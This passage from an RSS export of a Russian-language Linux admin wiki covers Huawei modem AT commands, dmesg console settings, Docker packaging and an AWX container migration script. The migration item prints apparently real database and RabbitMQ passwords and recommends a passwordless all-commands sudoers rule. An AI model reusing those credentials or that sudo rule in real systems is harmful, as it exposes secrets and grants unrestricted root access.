&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;AT \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0434\u043b\u044f \u043c\u043e\u0434\u0435\u043c\u0430 Huawei E3372&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;at_\u043a\u043e\u043c\u0430\u043d\u0434\u044b_\u0434\u043b\u044f_\u043c\u043e\u0434\u0435\u043c\u0430_huawei_e3372&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:7,&amp;quot;secid&amp;quot;:9,&amp;quot;range&amp;quot;:&amp;quot;10915-11170&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit10&quot; id=&quot;at_команды_для_модема_huawei_e3276&quot;&gt;AT команды для модема Huawei E3276&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;
&lt;ul&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 AT^SETPORT=“A1;10,12,13,14,16,A1,A2” - Включает все COM порты.
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 AT^SETPORT=“A1,A2;12,16,A1,A2” - Установка по умолчанию.
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 AT^SETPORT=”A1;10,12” - режим только модем
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 AT^SYSCFGEX? - значение по умолчанию ^SYSCFGEX:“00”,3FFFFFFF,1,2,800C5
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 AT^SYSCFGEX=? &lt;pre class=&quot;code&quot;&gt;^SYSCFGEX: (&amp;quot;00&amp;quot;,&amp;quot;01&amp;quot;,&amp;quot;02&amp;quot;,&amp;quot;03&amp;quot;),((2000000400380,&amp;quot;GSM900/GSM1800/WCDMA900/WCDMA2100&amp;quot;),(2a80000,&amp;quot;GSM850/GSM1900/AWS/WCDMA1900&amp;quot;),(3fffffff,&amp;quot;All bands&amp;quot;)),(0-2),(0-4),((800c5,&amp;quot;LTE_B1/LTE_B3/LTE_B7/LTE_B8/LTE_B20&amp;quot;),(7fffffffffffffff,&amp;quot;All bands&amp;quot;))&lt;/pre&gt;

&lt;p&gt;

&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 AT^FHVER - показывает информацию о версии прошивки и версии железа (^FHVER:“E3276s-210 21.260.05.00.143,CH2E3276SM Ver.B”)
&lt;/p&gt;

&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;


&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;AT \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0434\u043b\u044f \u043c\u043e\u0434\u0435\u043c\u0430 Huawei E3276&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;at_\u043a\u043e\u043c\u0430\u043d\u0434\u044b_\u0434\u043b\u044f_\u043c\u043e\u0434\u0435\u043c\u0430_huawei_e3276&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:7,&amp;quot;secid&amp;quot;:10,&amp;quot;range&amp;quot;:&amp;quot;11171-12007&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit11&quot; id=&quot;at_команды_для_модема_huawei_e3531&quot;&gt;AT команды для модема Huawei E3531&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;
&lt;ul&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 AT^SETPORT=“A1,A2;1,16,3,2,A1,A2” - Установка по умолчанию для МТС 423S.
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 AT^FHVER - - показывает информацию о версии прошивки и версии железа (^FHVER:“E3531s-1EA 21.318.15.00.143,CH1E3531SM Ver.A”)
&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;


&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;AT \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0434\u043b\u044f \u043c\u043e\u0434\u0435\u043c\u0430 Huawei E3531&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;at_\u043a\u043e\u043c\u0430\u043d\u0434\u044b_\u0434\u043b\u044f_\u043c\u043e\u0434\u0435\u043c\u0430_huawei_e3531&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:8,&amp;quot;secid&amp;quot;:11,&amp;quot;range&amp;quot;:&amp;quot;12008-12351&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit12&quot; id=&quot;at_команды_для_преключения_режимов_в_модемах_huawei_с_lte_e392_e398&quot;&gt;AT команды для преключения режимов в модемах huawei с LTE (E392, E398)&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
Если для USB-модема вы хотите включить режим только LTE, отключив все остальные, необходимо воспользоваться AT командой:
&lt;/p&gt;
&lt;ul&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 AT^SYSCFGEX=“03”,3fffffff,2,4,7fffffffffffffff,,
&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;


&lt;p&gt;
В указанной команде первое значение расшифровывается так:
00 - Автоматический режим, установлен по умолчанию (приоритеты в порядке очереди: 4G &amp;gt; 3G &amp;gt; 2G) &lt;br/&gt;

01 - GSM GPRS(2G) &lt;br/&gt;

02 - WCDMA(3G) &lt;br/&gt;

03 - LTE(4G) &lt;br/&gt;

99 - Оставить текущие настройки без изменений. &lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
Вы можете также выбрать порядок их приоритета, в порядке убывания, например:
&lt;/p&gt;
&lt;ul&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 AT^SYSCFGEX=“0302”,3fffffff,2,4,7fffffffffffffff,,
&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;


&lt;p&gt;
В этом случае модем будет пытаться подключиться сначала к сети LTE и потом к сети 3G, кроме работы в сетях 2G.
или такой вариант: 
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;AT^SYSCFGEX=&amp;quot;030201&amp;quot;,3fffffff,2,4,7fffffffffffffff,,&lt;/pre&gt;

&lt;p&gt;
это равносильно
&lt;/p&gt;
&lt;ul&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 AT^SYSCFGEX=“00”,3fffffff,2,4,7fffffffffffffff,,
&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;


&lt;p&gt;
Соответственно автоматический режим, установлен по умолчанию (приоритеты в порядке очереди: 4G &amp;gt; 3G &amp;gt; 2G) 
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;AT \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0434\u043b\u044f \u043f\u0440\u0435\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u0440\u0435\u0436\u0438\u043c\u043e\u0432 \u0432 \u043c\u043e\u0434\u0435\u043c\u0430\u0445 huawei \u0441 LTE (E392, E398)&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;at_\u043a\u043e\u043c\u0430\u043d\u0434\u044b_\u0434\u043b\u044f_\u043f\u0440\u0435\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f_\u0440\u0435\u0436\u0438\u043c\u043e\u0432_\u0432_\u043c\u043e\u0434\u0435\u043c\u0430\u0445_huawei_\u0441_lte_e392_e398&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:8,&amp;quot;secid&amp;quot;:12,&amp;quot;range&amp;quot;:&amp;quot;12352-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Wed, 04 Nov 2020 19:27:12 +0000</pubDate>
        </item>
        <item>
            <title>disable_kernel_messages_on_console</title>
            <link>https://wiki.autosys.tk/linux_faq/disable_kernel_messages_on_console</link>
            <description>
&lt;p&gt;
Иногда ядро бывает собрано так, что сообщения ядра (ошибки) выводятся в консоль и очень мешают.
Для того, чтобы отключить это нужно помнить о двух опциях dmesg:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;--D, --console-off           disable printing messages to console
--E, --console-on            enable printing messages to console&lt;/pre&gt;

&lt;p&gt;
то есть нужно выполнить:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo dmesg -D&lt;/pre&gt;

&lt;p&gt;
или, что эквивалентно:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo dmesg -n 1&lt;/pre&gt;

&lt;p&gt;
И, если нужно, добавить эту команду в &lt;strong&gt;/etc/rc.local&lt;/strong&gt;
&lt;/p&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:26 +0000</pubDate>
        </item>
        <item>
            <title>docker-fuse-overlayfs-performance-tuning</title>
            <link>https://wiki.autosys.tk/linux_faq/docker-fuse-overlayfs-performance-tuning</link>
            <description>
&lt;p&gt;
Тут я пытаюсь найти способы оптимизации сборки dind + fuse-overlayfs
&lt;a href=&quot;https://github.com/containers/buildah/issues/2411#issuecomment-704250886&quot; class=&quot;urlextern&quot; title=&quot;https://github.com/containers/buildah/issues/2411#issuecomment-704250886&quot; rel=&quot;ugc nofollow&quot;&gt;https://github.com/containers/buildah/issues/2411#issuecomment-704250886&lt;/a&gt;
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;--storage-opt dm.mountopt=fsync=0&lt;/pre&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Fri, 06 Oct 2023 10:23:02 +0000</pubDate>
        </item>
        <item>
            <title>docker.io_vs_docker-ce</title>
            <link>https://wiki.autosys.tk/linux_faq/docker.io_vs_docker-ce</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;что_использовать_на_debianubuntu_-_dockerio_или_docker-ce&quot;&gt;Что использовать на Debian/Ubuntu - docker.io или docker-ce&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Что использовать на &lt;strong&gt;Debian/Ubuntu&lt;/strong&gt; - &lt;strong&gt;docker.io&lt;/strong&gt; или &lt;strong&gt;docker-ce&lt;/strong&gt; и чем они отличаются. &lt;br/&gt;

Длинный ответ на английском языке тут: &lt;a href=&quot;https://stackoverflow.com/a/57678382&quot; class=&quot;urlextern&quot; title=&quot;https://stackoverflow.com/a/57678382&quot; rel=&quot;ugc nofollow&quot;&gt;https://stackoverflow.com/a/57678382&lt;/a&gt; &lt;br/&gt;

Короткий ответ на русском такой: &lt;br/&gt;

&lt;/p&gt;
&lt;ul&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 Пакет &lt;strong&gt;docker.io&lt;/strong&gt; поддерживается мантейнерами &lt;strong&gt;Debian/Ubuntu&lt;/strong&gt; и каждая библиотека, от которой он зависит представляет собой отдельный пакет из репозитория. При необходимости (например - обнаружении уязвимости) отдельные зависимости могут быть обновлены независимо друг от друга и ничего вероятность, что что-то сломается после обновления - минимальна. &lt;br/&gt;

&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 Пакет &lt;strong&gt;docker-ce&lt;/strong&gt; собран статически в стиле &lt;strong&gt;GoLang&lt;/strong&gt;. Это значит, что при обновлении пакета обновляются все компоненты, от которых зависит &lt;strong&gt;Docker&lt;/strong&gt;. С одной стороны - это хорошо (для &lt;strong&gt;Docker&lt;/strong&gt;), но с другой стороны, если бы все пакеты в системы собирались бы также - это привело бы к огромному числу дублей одних и тех же библиотек (но различных версий) в системе (и в пямяти).
&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;


&lt;p&gt;
С практической точки зрения - в среде &lt;strong&gt;Debian/Ubuntu&lt;/strong&gt; логичнее и оптимальнее (с точки зрения ресурсов) использовать &lt;strong&gt;docker.io&lt;/strong&gt;. К тому же, это несколько снижает вероятность получить неработающий &lt;strong&gt;Docker&lt;/strong&gt; после &lt;strong&gt;apt update &amp;amp;&amp;amp; apt upgrade&lt;/strong&gt;.
&lt;/p&gt;

&lt;/div&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Thu, 16 Jan 2020 20:36:16 +0000</pubDate>
        </item>
        <item>
            <title>docker_access_is_not_authorized</title>
            <link>https://wiki.autosys.tk/linux_faq/docker_access_is_not_authorized</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;проблема&quot;&gt;Проблема&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;docker login -u username registry.autosys.tk
Password: 
WARNING! Your password will be stored unencrypted in /home/user/.docker/config.json.
Configure a credential helper to remove this warning. See
https://docs.docker.com/engine/reference/commandline/login/#credentials-store

Login Succeeded&lt;/pre&gt;

&lt;p&gt;
Однако при ппытке выполнить:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;docker push ...&lt;/pre&gt;

&lt;p&gt;
Ошибка:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;docker push registry.autosys.tk/dokuwiki-php
The push refers to repository [registry.autosys.tk/dokuwiki-php]
...
...
unauthorized: access to the requested resource is not authorized&lt;/pre&gt;

&lt;p&gt;
&lt;a href=&quot;https://github.com/docker/docker-credential-helpers/issues/102&quot; class=&quot;urlextern&quot; title=&quot;https://github.com/docker/docker-credential-helpers/issues/102&quot; rel=&quot;ugc nofollow&quot;&gt;https://github.com/docker/docker-credential-helpers/issues/102&lt;/a&gt;
&lt;/p&gt;

&lt;/div&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Fri, 15 Nov 2019 20:29:50 +0000</pubDate>
        </item>
        <item>
            <title>docker_migrate_to_another_host</title>
            <link>https://wiki.autosys.tk/linux_faq/docker_migrate_to_another_host</link>
            <description>
&lt;p&gt;
&lt;a href=&quot;https://bobcares.com/blog/move-docker-container-to-another-host/&quot; class=&quot;urlextern&quot; title=&quot;https://bobcares.com/blog/move-docker-container-to-another-host/&quot; rel=&quot;ugc nofollow&quot;&gt;https://bobcares.com/blog/move-docker-container-to-another-host/&lt;/a&gt; &lt;br/&gt;

&lt;a href=&quot;https://stackoverflow.com/questions/28734086/how-to-move-docker-containers-between-different-hosts&quot; class=&quot;urlextern&quot; title=&quot;https://stackoverflow.com/questions/28734086/how-to-move-docker-containers-between-different-hosts&quot; rel=&quot;ugc nofollow&quot;&gt;https://stackoverflow.com/questions/28734086/how-to-move-docker-containers-between-different-hosts&lt;/a&gt; &lt;br/&gt;

&lt;/p&gt;

&lt;h1 class=&quot;sectionedit1&quot; id=&quot;задача&quot;&gt;Задача&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Нужно мигрировать контейнеры &lt;strong&gt;docker&lt;/strong&gt; (инсталляцию AWX) на новый хост. Инсталляция содержит 5 контейнеров, развернутых с помощью &lt;strong&gt;docker compose&lt;/strong&gt;. &lt;br/&gt;

Контейнеры имеют смонтированные &lt;strong&gt;volumes&lt;/strong&gt;, а также имеют файлы, установленные непосредственно в контейнер. &lt;br/&gt;

&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0417\u0430\u0434\u0430\u0447\u0430&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0437\u0430\u0434\u0430\u0447\u0430&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;173-645&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit2&quot; id=&quot;переносим_volumes&quot;&gt;Переносим **Volumes**&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
Предварительно, на целевом хосте настроена аутентификация по ключу, пользователь добавлен в группу &lt;strong&gt;sudo&lt;/strong&gt;, а в &lt;strong&gt;/etc/sudoers&lt;/strong&gt; прописано &lt;strong&gt;%sudo  ALL=(ALL) NOPASSWD:ALL&lt;/strong&gt;. &lt;br/&gt;

Скрипт просматривает конфигурацию контейнеров &lt;strong&gt;awx&lt;/strong&gt;, берет оттуда настройки &lt;strong&gt;mounts&lt;/strong&gt;, создает на удаленном хосте такие же и копирует данные. 
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;#!/bin/bash
remote_host=awx
user=usik.ma
#pass=password
rsync_path=&amp;quot;sudo rsync&amp;quot;
containers=`docker container ls --format &amp;quot;{{json .Names}}&amp;quot; | grep awx_ | sed &amp;#039;s/\&amp;quot;//g&amp;#039;`
for container in $(echo $containers)
do
  echo &amp;quot;container - $container&amp;quot;
  docker container stop $container
  mounts=`docker container inspect $container --format &amp;quot;{{ range .Mounts }}{{ .Type }}:{{ .Name }}:{{ .Source }}:{{ .Destination }} {{ end }}&amp;quot;`
  for mount in `echo $mounts`
  do
    mount_type=`echo $mount | cut -d: -f1`
    case $mount_type in
     bind)
          echo &amp;quot;type - bind&amp;quot;
          echo $mount
          bind_src=`echo $mount | cut -d: -f3`
          echo &amp;quot;Bind SRC - $bind_src&amp;quot;
          rsync -aRvvP --rsync-path=&amp;quot;$rsync_path&amp;quot; $bind_src $user@$remote_host:/
          ;;
     volume)
          echo &amp;quot;type - Volume&amp;quot;
          echo $mount
          vol_name=`echo $mount | cut -d: -f2`
#          echo $pass | ssh -tt $user@$remote_host &amp;quot;sudo docker volume create $vol_name&amp;quot;
          ssh $user@$remote_host &amp;quot;sudo docker volume create $vol_name&amp;quot;
          vol_local_mountpoint=`docker volume inspect $vol_name --format &amp;quot;{{json .Mountpoint}}&amp;quot; | sed &amp;#039;s/\&amp;quot;//g&amp;#039;`
#          vol_remote_mountpoint=`echo $pass | ssh -tt $user@$remote_host &amp;quot;sudo docker volume inspect $vol_name --format &amp;#039;{{json .Mountpoint}}&amp;#039; | sed &amp;#039;s/\&amp;quot;//g&amp;#039;&amp;quot;`
          vol_remote_mountpoint=`ssh $user@$remote_host &amp;quot;sudo docker volume inspect $vol_name --format &amp;#039;{{json .Mountpoint}}&amp;#039; | sed &amp;#039;s/\&amp;quot;//g&amp;#039;&amp;quot;`
          vol_remote_mountpoint=`echo $vol_remote_mountpoint | sed &amp;#039;s/^[^\/]*\//\//&amp;#039;`
          echo &amp;quot;local mountpoint - $vol_local_mountpoint; remote mountpoint - $vol_remote_mountpoint&amp;quot;
          rsync -avvP --rsync-path=&amp;quot;$rsync_path&amp;quot; $vol_local_mountpoint $user@$remote_host:$vol_remote_mountpoint
          ;;
    esac
  done
  docker container start $container
done
&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041f\u0435\u0440\u0435\u043d\u043e\u0441\u0438\u043c **Volumes**&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043f\u0435\u0440\u0435\u043d\u043e\u0441\u0438\u043c_volumes&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;646-3056&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit3&quot; id=&quot;создаем_коммит_с_текущим_состоянием_контейнеров&quot;&gt;Создаем коммит с текущим состоянием контейнеров&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;while read -r line; do docker commit $line; done &amp;lt; &amp;lt;(docker container ls --format &amp;quot;{{json .ID}} {{json .Names}}_current&amp;quot; | grep awx_ | sed &amp;#039;s/\&amp;quot;//g&amp;#039;)&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0421\u043e\u0437\u0434\u0430\u0435\u043c \u043a\u043e\u043c\u043c\u0438\u0442 \u0441 \u0442\u0435\u043a\u0443\u0449\u0438\u043c \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435\u043c \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u043e\u0432&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0441\u043e\u0437\u0434\u0430\u0435\u043c_\u043a\u043e\u043c\u043c\u0438\u0442_\u0441_\u0442\u0435\u043a\u0443\u0449\u0438\u043c_\u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435\u043c_\u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u043e\u0432&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:1,&amp;quot;secid&amp;quot;:3,&amp;quot;range&amp;quot;:&amp;quot;3057-3310&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit4&quot; id=&quot;переносим_images_на_новый_хост_и_загружаем_их&quot;&gt;Переносим images на новый хост и загружаем их&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;#while read -r line; do docker save $line | ssh -C awx docker load; done &amp;lt; &amp;lt;(docker images --format &amp;quot;{{json .Repository}}&amp;quot; | grep _current | sed &amp;#039;s/\&amp;quot;//g&amp;#039;)
while read -r line; do docker save $line | ssh -C awx docker load; done &amp;lt; &amp;lt;(docker images --format &amp;quot;{{json .Repository}}&amp;quot; | sed &amp;#039;s/\&amp;quot;//g&amp;#039;)&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041f\u0435\u0440\u0435\u043d\u043e\u0441\u0438\u043c images \u043d\u0430 \u043d\u043e\u0432\u044b\u0439 \u0445\u043e\u0441\u0442 \u0438 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u043c \u0438\u0445&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043f\u0435\u0440\u0435\u043d\u043e\u0441\u0438\u043c_images_\u043d\u0430_\u043d\u043e\u0432\u044b\u0439_\u0445\u043e\u0441\u0442_\u0438_\u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u043c_\u0438\u0445&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:1,&amp;quot;secid&amp;quot;:4,&amp;quot;range&amp;quot;:&amp;quot;3311-3699&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit5&quot; id=&quot;удаляем_коммиты_имиждей_на_исходном_хосте&quot;&gt;Удаляем коммиты имиждей на исходном хосте&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;while read -r line; do docker image rm $line; done &amp;lt; &amp;lt;(docker images --format &amp;quot;{{json .Repository}}&amp;quot; | grep _current | sed &amp;#039;s/\&amp;quot;//g&amp;#039;)&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0423\u0434\u0430\u043b\u044f\u0435\u043c \u043a\u043e\u043c\u043c\u0438\u0442\u044b \u0438\u043c\u0438\u0436\u0434\u0435\u0439 \u043d\u0430 \u0438\u0441\u0445\u043e\u0434\u043d\u043e\u043c \u0445\u043e\u0441\u0442\u0435&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0443\u0434\u0430\u043b\u044f\u0435\u043c_\u043a\u043e\u043c\u043c\u0438\u0442\u044b_\u0438\u043c\u0438\u0436\u0434\u0435\u0439_\u043d\u0430_\u0438\u0441\u0445\u043e\u0434\u043d\u043e\u043c_\u0445\u043e\u0441\u0442\u0435&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:1,&amp;quot;secid&amp;quot;:5,&amp;quot;range&amp;quot;:&amp;quot;3700-3925&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit6&quot; id=&quot;создаем_контейнеры_на_новом_хосте&quot;&gt;Создаем контейнеры на новом хосте&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
А теперь можно создать контейнеры из скопированных имиджей с помощью команды &lt;strong&gt;docker create&lt;/strong&gt;, либо воспользоваться &lt;strong&gt;docker compose&lt;/strong&gt;. Файл лежит тут: &lt;strong&gt;/opt/awx/awxcompose/docker-compose.yml&lt;/strong&gt;. Переносим его на новый хост:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;rsync -avvP --rsync-path=&amp;quot;rsync sudo&amp;quot; /opt/awx/awxcompose/docker-compose.yml $user@$remote_host:/opt/awx/awxcompose/docker-compose.yml&lt;/pre&gt;

&lt;p&gt;
Редактируем его, указывая в качестве имиджей - те, что были созданы, а также указывая &lt;strong&gt;restart: always&lt;/strong&gt;. У меня пролучилось примерно так:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;version: &amp;#039;2&amp;#039;
services:

  web:
    image: awx_web_current
    container_name: awx_web
    depends_on:
      - rabbitmq
      - memcached
      - postgres
    ports:
      - &amp;quot;80:8052&amp;quot;
    hostname: awxweb
    user: root
    restart: always
    volumes:
      - &amp;quot;/opt/awx/awxcompose/SECRET_KEY:/etc/tower/SECRET_KEY&amp;quot;
      - &amp;quot;/opt/awx/awxcompose/environment.sh:/etc/tower/conf.d/environment.sh&amp;quot;
      - &amp;quot;/opt/awx/awxcompose/credentials.py:/etc/tower/conf.d/credentials.py&amp;quot;
    environment:
      http_proxy: 
      https_proxy: 
      no_proxy: 

  task:
    image: awx_task_current
    container_name: awx_task
    depends_on:
      - rabbitmq
      - memcached
      - web
      - postgres
    hostname: awx
    user: root
    restart: always
    volumes:
      - &amp;quot;/opt/awx/awxcompose/SECRET_KEY:/etc/tower/SECRET_KEY&amp;quot;
      - &amp;quot;/opt/awx/awxcompose/environment.sh:/etc/tower/conf.d/environment.sh&amp;quot;
      - &amp;quot;/opt/awx/awxcompose/credentials.py:/etc/tower/conf.d/credentials.py&amp;quot;
    environment:
      http_proxy: 
      https_proxy: 
      no_proxy: 

  rabbitmq:
    image: awx_rabbitmq_current
    container_name: awx_rabbitmq
    restart: always
    environment:
      RABBITMQ_DEFAULT_VHOST: &amp;quot;awx&amp;quot;
      RABBITMQ_DEFAULT_USER: &amp;quot;guest&amp;quot;
      RABBITMQ_DEFAULT_PASS: &amp;quot;PTB4h5Zt1m1BSu8J&amp;quot;
      RABBITMQ_ERLANG_COOKIE: cookiemonster
      http_proxy: 
      https_proxy: 
      no_proxy: 

  memcached:
    image: &amp;quot;awx_memcached_current&amp;quot;
    container_name: awx_memcached
    restart: always
    environment:
      http_proxy: 
      https_proxy: 
      no_proxy: 

  postgres:
    image: awx_postgres_current
    container_name: awx_postgres
    restart: always
    volumes:
      - /opt/awx/pgsql_db:/var/lib/postgresql/data:Z
    environment:
      POSTGRES_USER: awx
      POSTGRES_PASSWORD: aZKX3FzQ7RdIfGGM
      POSTGRES_DB: awx
      PGDATA: /var/lib/postgresql/data/pgdata
      http_proxy: 
      https_proxy: 
      no_proxy: &lt;/pre&gt;

&lt;p&gt;
После этого переходим в папку c файликом &lt;strong&gt;docker-compose.yml&lt;/strong&gt; и запускаем наши контейнеры:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;cd /opt/awx/awxcompose/ 
docker-compose up -d&lt;/pre&gt;

&lt;p&gt;
После запуска остановим контейнеры и перезагрузимся, чтобы убедиться, что они нормально стартуют:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;docker stop $(docker ps -a -q)
sudo reboot&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0421\u043e\u0437\u0434\u0430\u0435\u043c \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u044b \u043d\u0430 \u043d\u043e\u0432\u043e\u043c \u0445\u043e\u0441\u0442\u0435&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0441\u043e\u0437\u0434\u0430\u0435\u043c_\u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u044b_\u043d\u0430_\u043d\u043e\u0432\u043e\u043c_\u0445\u043e\u0441\u0442\u0435&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:1,&amp;quot;secid&amp;quot;:6,&amp;quot;range&amp;quot;:&amp;quot;3926-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Wed, 21 Aug 2019 07:00:35 +0000</pubDate>
        </item>
        <item>
            <title>docker_tls_handshake_error</title>
            <link>https://wiki.autosys.tk/linux_faq/docker_tls_handshake_error</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;система&quot;&gt;Система&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Ubuntu 19.04 &lt;br/&gt;

Docker:
&lt;/p&gt;
